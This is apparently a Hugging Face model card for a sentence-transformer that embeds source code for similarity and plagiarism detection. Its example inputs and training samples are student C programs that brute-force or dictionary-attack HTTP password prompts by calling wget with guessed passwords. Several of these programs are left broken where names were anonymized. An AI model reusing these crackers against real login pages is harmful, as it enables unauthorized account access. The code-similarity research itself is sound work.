SentenceTransformer based on uclanlp/plbart-java-cs

This is a sentence-transformers model finetuned from uclanlp/plbart-java-cs. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.

Model Details

Model Description

  • Model Type: Sentence Transformer
  • Base model: uclanlp/plbart-java-cs
  • Maximum Sequence Length: 512 tokens
  • Output Dimensionality: 768 dimensions
  • Similarity Function: Cosine Similarity

Model Sources

Full Model Architecture

SentenceTransformer(
  (0): Transformer({'max_seq_length': 512, 'do_lower_case': False, 'architecture': 'PLBartModel'})
  (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)

Usage

Direct Usage (Sentence Transformers)

First install the Sentence Transformers library:

pip install -U sentence-transformers

Then you can load this model and run inference.

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-PLBART-ST")
# Run inference
sentences = [
    '\n#include <stdio.h>\n#include <stdlib.h>\n#include <ctype.h>\n#include <strings.h>\n#include <sys/times.h>\n#define OneBillion 1e9\n\nint () {\n   FILE *fptr;\n   char pass[257];\n   char send[100],path[50];\n   int res,count=0;\n   int startTime, stopTime, final;\n   startTime = time();\n   while((fptr=(fopen("/usr/share/lib/dict/words","r")))!= NULL) {\n   \n      while(1) {\n         fgets(pass,256,fptr);\n         if(pass == NULL) exit(1);\n         if(pass[3]==\'\\n\') {\n            pass[3]=\'\\0\';\n\t    send[0]=\'\\0\';\n\t    strcpy(send,"wget --http-user= --http-passwd=");\n \t    strcat(send,pass);\n\t    strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");\n\t    count++;\n\t    if((res=(system(send)) == 0)) {\n\t       fclose(fptr);\n\t       stopTime = time();\n               final = stopTime-startTime;\n\t       printf("\\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds &  OF COMPARISIONs  = %d\\n",pass,(double)final/OneBillion,count);\n\t       exit(1);\n\t    }\n         }\n      }\n   }\n   printf("\\nFILE CANNOT  OPENED\\n");\n}\n',
    '#include<stdio.h>\n#include<stdlib.h>\n#include<strings.h>\n#include<ctype.h>\n#include <sys/time.h>\n#define OneBillion 1e9\n\n\nint ()\n{   int startTime, stopTime, final;\n    int i,j,k;\n    int pass,count=0;\n    char arr[52] ={\'A\',\'a\',\'B\',\'b\',\'C\',\'c\',\'D\',\'d\',\'E\',\'e\',\'F\',\'f\',\'G\',\'g\',\'H\',\'h\',\'I\',\'i\',\'J\',\'j\',\'K\',\'k\',\'L\',\'l\',\'M\',\'m\',\'N\',\'n\',\'O\',\'o\',\'P\',\'p\',\'Q\',\'q\',\'R\',\'r\',\'S\',\'s\',\'T\',\'t\',\'U\',\'u\',\'V\',\'v\',\'W\',\'w\',\'X\',\'x\',\'Y\',\'y\',\'Z\',\'z\'};\n    char [4];\n    char url1[100];\n    char url2[100];\n\n    startTime = time();\n   for (i=0;i<=52;i++)\n   {\n\n     for (j=0;j<=52;j++)\n       {\n\n\tfor(k=0;k<=52;k++)\n\n\t  { \n\t     count++;\n             [0] = arr[i];\n\t     [1] = arr[j];\n\t     [2] = arr[k];\n\t     [3] = \'\\0\';\n\n\n\t     printf("Checking for the word :%s\\n",);\n\t     strcpy(url1 ,"wget --http-user= --http-passwd=");\n\t     strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ ");\n\t     strcat(url1,);\n\t     strcat(url1,url2);\n\n\n\t     pass = system(url1);\n\t     if (pass == 0)\n\t     {   \n                printf("Success\\n");\n\t\tprintf("Number of attempts = %d\\n",count);\n\t        stopTime = time();\n\n                final = stopTime-startTime;\n\t\tprintf("The password for the user  : %s\\n",); \n                printf(" Cracked the password in %lld nanoseconds (%1f seconds) \\n",final,(double)final/OneBillion);\n\t        \n\t\texit(1);}\n\n\n\t      }\n        }\n\n   }\n }\n\n\n',
    '\n\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/stat.h>\n#include <unistd.h>\n\n#define USERNAME ""\n#define URL "sec-crack.cs.rmit.edu./SEC/2"\n#define TEST_URL "yallara.cs.rmit.edu./~/secure"\n#define MAX_PASSWD_LEN 3\n\n#define DICT_FILE "/usr/share/lib/dict/words"\n#define TRUE 1\n#define FALSE 0\n\ntypedef int (*CrackFuncPtr)(const char*, const char*);\n\ntypedef struct node* NodePtr;\n\ntypedef struct node\n{\n\tchar str[50];\n\tNodePtr next;\t\n} Node;\n\ntypedef struct list* ListPtr;\n\ntypedef struct list\n{\n\tNodePtr head;\n\tint ctr;\n} List;\n\nNodePtr makeNode(const char *str);\nvoid printList(const ListPtr l);\nvoid loadFile(const char fname[], ListPtr l);\nvoid add(ListPtr l, const char *str);\nint crackHTTPAuth(const char *username, const char *passwd);\nvoid runDictCrack(const ListPtr l, CrackFuncPtr func);\nvoid freeWList(ListPtr wL);\nint isValidPasswd(const char *str);\n\nint ()\n{\n\tList wordList;\n\n\twordList.head = NULL;\n\twordList.ctr = 0;\n\n\tloadFile(DICT_FILE, &wordList);\n\n\trunDictCrack(&wordList, crackHTTPAuth);\n\n\tfreeWList(&wordList);\n\treturn 0;\n\t\n}\n\n\n\nNodePtr makeNode(const char *str)\n{\n\tNodePtr newNode = malloc(sizeof(Node));\n\t\n\tif (newNode)\n\t{\n\t\tstrncpy(newNode->str, str, strlen(str)+1);\n\t\tnewNode->next = NULL;\t\n\t\treturn newNode;\n\t}\n\telse\n\t{\n\t\tfprintf(stderr, "\\nError: Unable  allocate %d btyes memory\\n", sizeof(Node));\n\t\treturn NULL;\n\t}\n\n}\n\n\n\nvoid add(ListPtr l, const char *str)\n{\n\tNodePtr *iter;\n\tNodePtr n ;\n\tn = makeNode(str);\n\n\tif (n == NULL)\n\t{\n\t\texit(1);\n\t}\n\n\titer = &(l->head);\n\n\tif (l->head == NULL)\n\t{\n\t\tl->head = n;\n\t}\n\telse\n\t{\n\t\twhile (*iter != NULL)\n\t\t{\n\t\t\titer = &((*iter)->next);\n\t\t}\n\n\t}\n\n\tl->ctr = l->ctr+1;\n\n\t*iter = n;\n\t(l->ctr)++;\n\t\n}\n\n\n\nvoid printList(const ListPtr l)\n{\n\tNodePtr iter = l->head;\n\n\twhile (iter != NULL)\n\t{\n\t\tprintf("\\n%s", iter->str);\n\t\titer = iter->next;\n\t}\n}\n\n\n\n\nvoid loadFile(const char fname[], ListPtr l)\n{\n\tFILE *fp;\n\tchar str[50];\n\tNodePtr p;\n\tint i=0;\n\t\n\tfp = fopen(fname, "r");\n\n\tif (fp)\n\t{\n\t\tprintf("\\nLoading dictionary file...\\n");\n\t\twhile(fgets(str, 50, fp) != NULL)\n\t\t{\n\t\t\tif (str[strlen(str)-1] == \'\\n\')\n\t\t\t{\n\t\t\t\tstr[strlen(str)-1] = \'\\0\';\n\t\t\t}\n\n\t\t\tif (isValidPasswd(str))\n\t\t\t{\n\t\t\t\tadd(l, str);\n\t\t\t\ti++;\n\t\t\t}\n\t\t}\n\t\tprintf("total %d\\n", i);\n\t}\n\telse\n\t{\n\t\tfprintf(stderr, "\\nError: Cannot  dictionary file\\n");\n\t\texit(1);\n\t}\n\n\tfclose(fp);\n}\n\n\n\nint crackHTTPAuth(const char *username, const char *passwd)\n{\n\tchar cmd[3000] = "";\n\tstruct stat fileInfo;\n\tint success = FALSE;\n\t\t\t\t\t\n\tsprintf(cmd, "wget -O dictTemp -q --http-user=%s --http-passwd=%s --proxy=off %s", \n\t\tusername, passwd, URL);\n\n\tsystem(cmd);\t\n\t\n\t(void)stat("dictTemp", &fileInfo); \n\t\n\treturn fileInfo.st_size;\n\t\t\t\t\t\t\t\t\t\n}\n\n\n\nvoid runDictCrack(const ListPtr l, CrackFuncPtr func)\n{\n\tNodePtr iter;\n\n\titer = l->head;\n\n\twhile (iter != NULL)\n\t{\n\t\tif(func(USERNAME, iter->str))\n\t\t{\n\t\t\tprintf("\\nPassword found: %s", iter->str);\n\t\t\tbreak;\n\t\t}\n\t\telse\n\t\t{\n\t\t\titer = iter->next;\n\t\t}\n\t\t\n\t}\n}\n\n\n\nvoid freeWList(ListPtr wL)\n{\n\tNodePtr iter, next;\n\n\titer = wL->head;\n\n\tnext = iter->next;\n\n\twhile (iter != NULL)\n\t{\n\t\tnext = iter->next;\t\t\n\t\t(iter);\n\t\titer = NULL;\n\t\titer = next;\n\t}\n}\n\n\n\nint isValidPasswd(const char *str)\n{\n\tint len = strlen(str);\n\tint i;\n\t\n\tif (len <= MAX_PASSWD_LEN)\n\t{\n\t\tfor\t(i=0; i<len; i++)\n\t\t{\n\t\t\tif (!isalpha(str[i]))\n\t\t\t{\n\t\t\t\treturn FALSE;\n\t\t\t}\n\t\t}\n\t\treturn TRUE;\n\t}\n\telse\n\t{\n\t\treturn FALSE;\n\t}\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9742, 0.9676],
#         [0.9742, 1.0000, 0.9571],
#         [0.9676, 0.9571, 1.0000]])

Training Details

Training Dataset

Unnamed Dataset

  • Size: 3,081 training samples
  • Columns: sentence_0, sentence_1, and label
  • Approximate statistics based on the first 1000 samples:
    sentence_0 sentence_1 label
    type string string int
    details
    • min: 146 tokens
    • mean: 381.73 tokens
    • max: 512 tokens
    • min: 146 tokens
    • mean: 365.36 tokens
    • max: 512 tokens
    • 0: ~99.10%
    • 1: ~0.90%
  • Samples:
    sentence_0 sentence_1 label


    #include
    #include
    #include
    #define OneBillion 1e9


    int () {
    FILE *fp;
    int ret;
    char *strin = "wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=";
    char str[100];
    char passwd[150];
    int startTime, stopTime, final;
    strcpy(passwd,strin);
    fp = fopen("words","r");

    if (fp == NULL) {
    printf ("\n Error opening file; exiting...");
    exit(0);
    }

    else
    startTime = time();
    while (fgets(str,20,fp) != NULL) {
    str[strlen(str)-1] = '\0';
    if (strlen(str) < 4) {
    strcat(passwd,str);
    printf("string is %s\n",passwd);
    ret = system(passwd);
    strcpy(passwd,strin);
    if (ret == 0) break;
    }
    }
    stopTime = time();
    final = stopTime-startTime;
    printf("\n============================================================");
    printf("\n HostName : http://sec-crack.cs.rmit.edu./SEC/2/index.html");
    printf("\n UserName : ");
    printf("\n Pas...
    #include
    #include
    #include
    #include
    #include

    int ()
    {

    int m,n,o,i;
    char URL[255];
    char v[3];
    char temp1[100];
    char temp2[100];
    char temp3[250];
    char [53]={'a','A','b','B','c','C','d','D','e','E','f','F','g','G','h','H','i','I','j','J','k','K','l','L','m','M','n','N','o','O','p','P','q','Q','r','R','s','S','t','T','u','U','v','V','w','W','x','X','y','Y','z','Z'};
    time_t u1,u2;

    (void) time(&u1);
    strcpy(temp1,"wget --http-user= --http-passwd=");
    strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php");

    for(m=0;m<=51;m++)
    {
    v[0]=[m];
    v[1]='\0';
    v[2]='\0';
    strcpy(URL,v);
    printf("\nTesting with password %s\n",URL);
    strcat(temp3,temp1);
    strcat(temp3,URL);
    strcat(temp3,temp2);
    printf("\nSending the %s\n",temp3);
    i=system(temp3);

    if(i==0)
    {
    (void) time(&u2);
    printf("\n The password is %s\n",URL);
    printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1...
    0


    #include
    #include
    #include

    int () {

    while (1) {

    system("wget -p www.cs.rmit.edu.");\

    system("mkdir sitefiles");

    system("cp www.cs.rmit.edu./index.html sitefiles");
    system("diff sitefiles/index.html www.cs.rmit.edu./index.html
    mail @cs.rmit.edu.");

    system("md5sum www.cs.rmit.edu./images/. > imageInfo.txt");
    system("diff imageInfo.txt sitefiles/imageInfo.txt
    mail @cs.rmit.edu.");

    system("cp imageInfo.txt sitefiles");
    sleep(86400);
    }

    }
    #include
    #include
    #include
    #include
    #include

    int ()
    {
    char first[80], last[50];
    int count =0;
    int Start_time,End_time,Total_time,average;
    char password[15], *getWord;
    getWord = " ";
    FILE *fp;
    int systemres = 1;
    fp = fopen("words", "r");
    Start_time = time();
    strcpy(first, "wget --http-user= --http-passwd=");
    strcpy(last, " http://sec-crack.cs.rmit.edu./SEC/2/");

    {
    getWord = fgets(password, 15, fp);
    if (getWord == NULL) exit(1);
    password [ strlen(password) - 1 ] = '\0';
    if(strlen(password) == 3)
    {
    strcat(first, password);
    strcat(first, last);
    printf("The length of the word is : %d", strlen(password));
    printf("\n %s \n",first);
    count++;
    systemres = system(first);
    if (systemres == 0)
    {
    printf(" Time =%11dms\n", Start_time);
    End_time = time();
    Total_time = (End_time - Start_time);
    Total_time /= 1000000000.0;
    printf("totaltime in seconds =%lldsec\n", ...




    #include
    #include
    #include

    int ()
    {
    int i,j,k,cntr=0;
    char pass[3];
    char password[3];
    char get[96];
    char username[]="";
    int R_VALUE;
    double time_used;

    clock_t ,end;

    =clock();



    for (i = 65; i <= 122; i++)
    {
    if(i==91) {i=97;}

    for (j = 65; j <= 122; j++)
    {
    if(j==91) {j=97;}

    for (k = 65; k <= 122; k++)
    {
    if(k==91) {k=97;}

    pass[0] = i;
    pass[1] = j;
    pass[2] = k;
    sprintf(password,"%c%c%c",pass[0],pass[1],pass[2]);
    cntr++;

    printf("%d )%s\n\n", cntr, password);
    sprintf(get,"wget --non-verbose --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,password);


    R_VALUE=system(get);

    if(R_VALUE==0)
    {
    printf("The Password has been cracked and it is : %s" , password);
    ...
    0
  • Loss: BatchAllTripletLoss

Training Hyperparameters

Non-Default Hyperparameters

  • per_device_train_batch_size: 16
  • per_device_eval_batch_size: 16
  • num_train_epochs: 1
  • fp16: True
  • multi_dataset_batch_sampler: round_robin

All Hyperparameters

Click to expand
  • overwrite_output_dir: False
  • do_predict: False
  • eval_strategy: no
  • prediction_loss_only: True
  • per_device_train_batch_size: 16
  • per_device_eval_batch_size: 16
  • per_gpu_train_batch_size: None
  • per_gpu_eval_batch_size: None
  • gradient_accumulation_steps: 1
  • eval_accumulation_steps: None
  • torch_empty_cache_steps: None
  • learning_rate: 5e-05
  • weight_decay: 0.0
  • adam_beta1: 0.9
  • adam_beta2: 0.999
  • adam_epsilon: 1e-08
  • max_grad_norm: 1
  • num_train_epochs: 1
  • max_steps: -1
  • lr_scheduler_type: linear
  • lr_scheduler_kwargs: {}
  • warmup_ratio: 0.0
  • warmup_steps: 0
  • log_level: passive
  • log_level_replica: warning
  • log_on_each_node: True
  • logging_nan_inf_filter: True
  • save_safetensors: True
  • save_on_each_node: False
  • save_only_model: False
  • restore_callback_states_from_checkpoint: False
  • no_cuda: False
  • use_cpu: False
  • use_mps_device: False
  • seed: 42
  • data_seed: None
  • jit_mode_eval: False
  • use_ipex: False
  • bf16: False
  • fp16: True
  • fp16_opt_level: O1
  • half_precision_backend: auto
  • bf16_full_eval: False
  • fp16_full_eval: False
  • tf32: None
  • local_rank: 0
  • ddp_backend: None
  • tpu_num_cores: None
  • tpu_metrics_debug: False
  • debug: []
  • dataloader_drop_last: False
  • dataloader_num_workers: 0
  • dataloader_prefetch_factor: None
  • past_index: -1
  • disable_tqdm: False
  • remove_unused_columns: True
  • label_names: None
  • load_best_model_at_end: False
  • ignore_data_skip: False
  • fsdp: []
  • fsdp_min_num_params: 0
  • fsdp_config: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
  • fsdp_transformer_layer_cls_to_wrap: None
  • accelerator_config: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
  • deepspeed: None
  • label_smoothing_factor: 0.0
  • optim: adamw_torch
  • optim_args: None
  • adafactor: False
  • group_by_length: False
  • length_column_name: length
  • ddp_find_unused_parameters: None
  • ddp_bucket_cap_mb: None
  • ddp_broadcast_buffers: False
  • dataloader_pin_memory: True
  • dataloader_persistent_workers: False
  • skip_memory_metrics: True
  • use_legacy_prediction_loop: False
  • push_to_hub: False
  • resume_from_checkpoint: None
  • hub_model_id: None
  • hub_strategy: every_save
  • hub_private_repo: None
  • hub_always_push: False
  • gradient_checkpointing: False
  • gradient_checkpointing_kwargs: None
  • include_inputs_for_metrics: False
  • include_for_metrics: []
  • eval_do_concat_batches: True
  • fp16_backend: auto
  • push_to_hub_model_id: None
  • push_to_hub_organization: None
  • mp_parameters:
  • auto_find_batch_size: False
  • full_determinism: False
  • torchdynamo: None
  • ray_scope: last
  • ddp_timeout: 1800
  • torch_compile: False
  • torch_compile_backend: None
  • torch_compile_mode: None
  • include_tokens_per_second: False
  • include_num_input_tokens_seen: False
  • neftune_noise_alpha: None
  • optim_target_modules: None
  • batch_eval_metrics: False
  • eval_on_start: False
  • use_liger_kernel: False
  • eval_use_gather_object: False
  • average_tokens_across_devices: False
  • prompts: None
  • batch_sampler: batch_sampler
  • multi_dataset_batch_sampler: round_robin
  • router_mapping: {}
  • learning_rate_mapping: {}

Framework Versions

  • Python: 3.11.13
  • Sentence Transformers: 5.0.0
  • Transformers: 4.52.4
  • PyTorch: 2.6.0+cu124
  • Accelerate: 1.8.1
  • Datasets: 3.6.0
  • Tokenizers: 0.21.2

Citation

BibTeX

Sentence Transformers

@inproceedings{reimers-2019-sentence-bert,
    title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
    author = "Reimers, Nils and Gurevych, Iryna",
    booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
    month = "11",
    year = "2019",
    publisher = "Association for Computational Linguistics",
    url = "https://arxiv.org/abs/1908.10084",
}

BatchAllTripletLoss

@misc{hermans2017defense,
    title={In Defense of the Triplet Loss for Person Re-Identification},
    author={Alexander Hermans and Lucas Beyer and Bastian Leibe},
    year={2017},
    eprint={1703.07737},
    archivePrefix={arXiv},
    primaryClass={cs.CV}
}
Downloads last month
4
Safetensors
Model size
139M params
Tensor type
F32
·
Inference Providers NEW
This model isn't deployed by any Inference Provider. 🙋 Ask for provider support

Model tree for buelfhood/SOCO-C-PLBART-ST

Finetuned
(2)
this model